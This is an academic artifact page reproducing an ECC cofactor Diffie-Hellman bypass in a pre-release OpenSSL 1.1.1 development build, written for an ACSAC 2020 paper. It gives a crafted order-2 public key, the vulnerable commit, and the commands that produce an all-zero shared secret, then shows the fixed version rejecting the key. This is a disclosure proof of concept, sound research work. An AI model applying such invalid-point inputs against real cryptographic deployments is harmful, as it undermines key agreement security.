Software Open Access

Bypassing Elliptic Curve Co-Factor Diffie Hellman security in OpenSSL beta

Belyavsky, Dmitry; Brumley, Billy Bob; Chi-Domínguez, Jesús-Javier; Rivera-Zamarripa, Luis; Ustinov, Igor

Summary

This document is for reproducing one of the research results from the manuscript "Set It and Forget It! Turnkey ECC for Instant Integration", to appear at the 2020 Annual Computer Security Applications Conference (ACSAC). This is one of the vulnerabilities included under ECCKAT, Section 3.4 ("OpenSSL: ECC CDH vulnerability").

It demonstrates bypassing Elliptic Curve Co-factor Diffie Hellman (ECC CDH) security, which should fail to derive a shared key if a peer point is not a multiple of the generator. Here the generator is for the NIST B-233 binary curve.

The vulnerability was in a development version of OpenSSL 1.1.1, fixed before the official release of OpenSSL 1.1.1 (Sep 2018).

Prerequisites

Setup a legitimate key pair for Bob.

cat <<EOF > /tmp/bob.prv
-----BEGIN PRIVATE KEY-----
MH4CAQAwEAYHKoZIzj0CAQYFK4EEABsEZzBlAgEBBB4AiHfJxQ7f7oI6TuZ1dTuG
soj1o3EWfwqkW/MhLvShQAM+AAQB/IF6yIGxSHDk85mJe+PwU+5t+gv+6HbQUQl/
Iu4AFk3O1TH/Cgb9e4ML4Wut5KSwOhcXyR/HVX+cyGM=
-----END PRIVATE KEY-----
EOF

Setup a malicious public key for Malice.

cat <<EOF > /tmp/malice.pub
-----BEGIN PUBLIC KEY-----
MFIwEAYHKoZIzj0CAQYFK4EEABsDPgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYf4
Vie5eHTnR+4x4G1xyq7qUvISU+X5RtBh2pE4
-----END PUBLIC KEY-----
EOF

In the binary curve case y^2 + xy = x^3 + ax^2 + b, Malice's public key is the order-2 point (0, sqrt(b)) and always exists.

Clone the OpenSSL repo.

git clone https://github.com/openssl/openssl.git
cd openssl/
Before the fix

Checkout and build a vulnerable version.

git checkout -b ecccdh 27232cc3385260311e7fd2f6cd78db967cae650d
./config -d no-shared
make -j4

Examine Bob's key pair, if you want.

$ apps/openssl pkey -in /tmp/bob.prv -text -noout
Private-Key: (233 bit)
priv:
    00:88:77:c9:c5:0e:df:ee:82:3a:4e:e6:75:75:3b:
    86:b2:88:f5:a3:71:16:7f:0a:a4:5b:f3:21:2e:f4
pub:
    04:01:fc:81:7a:c8:81:b1:48:70:e4:f3:99:89:7b:
    e3:f0:53:ee:6d:fa:0b:fe:e8:76:d0:51:09:7f:22:
    ee:00:16:4d:ce:d5:31:ff:0a:06:fd:7b:83:0b:e1:
    6b:ad:e4:a4:b0:3a:17:17:c9:1f:c7:55:7f:9c:c8:
    63
ASN1 OID: sect233r1
NIST CURVE: B-233

Examine Malice's public key, if you want.

$ apps/openssl pkey -in /tmp/malice.pub -pubin -text -noout
Public-Key: (233 bit)
pub:
    04:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:01:87:f8:56:27:b9:78:74:e7:47:ee:31:e0:6d:
    71:ca:ae:ea:52:f2:12:53:e5:f9:46:d0:61:da:91:
    38
ASN1 OID: sect233r1
NIST CURVE: B-233

Derive the ECC CDH shared key between Bob and Malice.

apps/openssl pkeyutl -derive -inkey /tmp/bob.prv -peerkey /tmp/malice.pub -pkeyopt ecdh_cofactor_mode:1 -out /tmp/shared.bin

Observe OpenSSL does not report an error, and the shared key derives successfully.

$ xxd -g1 /tmp/shared.bin
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00        ..............
$ rm -f /tmp/shared.bin
After the fix

Clean, checkout, and build any fixed version.

make clean
git checkout -b OpenSSL_1_1_1g OpenSSL_1_1_1g
./config -d no-shared
make -j4

Observe OpenSSL (correctly) fails to derive the shared key.

$ apps/openssl pkeyutl -derive -inkey /tmp/bob.prv -peerkey /tmp/malice.pub -pkeyopt ecdh_cofactor_mode:1 -out /tmp/shared.bin
Key derivation failed
140376301057856:error:1012506A:elliptic curve routines:EC_POINT_get_affine_coordinates:point at infinity:crypto/ec/ec_lib.c:850:
140376301057856:error:1010109B:elliptic curve routines:ecdh_simple_compute_key:point arithmetic failure:crypto/ec/ecdh_ossl.c:87:
Scripted demo

It is not necessary for Bob's key to be fixed, but there are some very loose restrictions for the PoC. The bash script bob_keys.sh will:

  • Automate creating Malice's key
  • Automate creating several keys for Bob
  • Automate printing the key material
  • Automate deriving the shared key

Ensure that the OPENSSL variable in the bash script points to your target OpenSSL binary.

Credits Authors
  • Dmitry Belyavsky (Cryptocom Ltd., Moscow, Russian Federation)
  • Billy Bob Brumley (Tampere University, Tampere, Finland)
  • Jesús-Javier Chi-Domínguez (Tampere University, Tampere, Finland)
  • Luis Rivera-Zamarripa (Tampere University, Tampere, Finland)
  • Igor Ustinov (Cryptocom Ltd., Moscow, Russian Federation)
Funding

This project has received funding from the European Research Council (ERC) under the European Union's Horizon 2020 research and innovation programme (grant agreement No 804476).

License

This work is licensed under a Creative Commons Attribution 4.0 International License.

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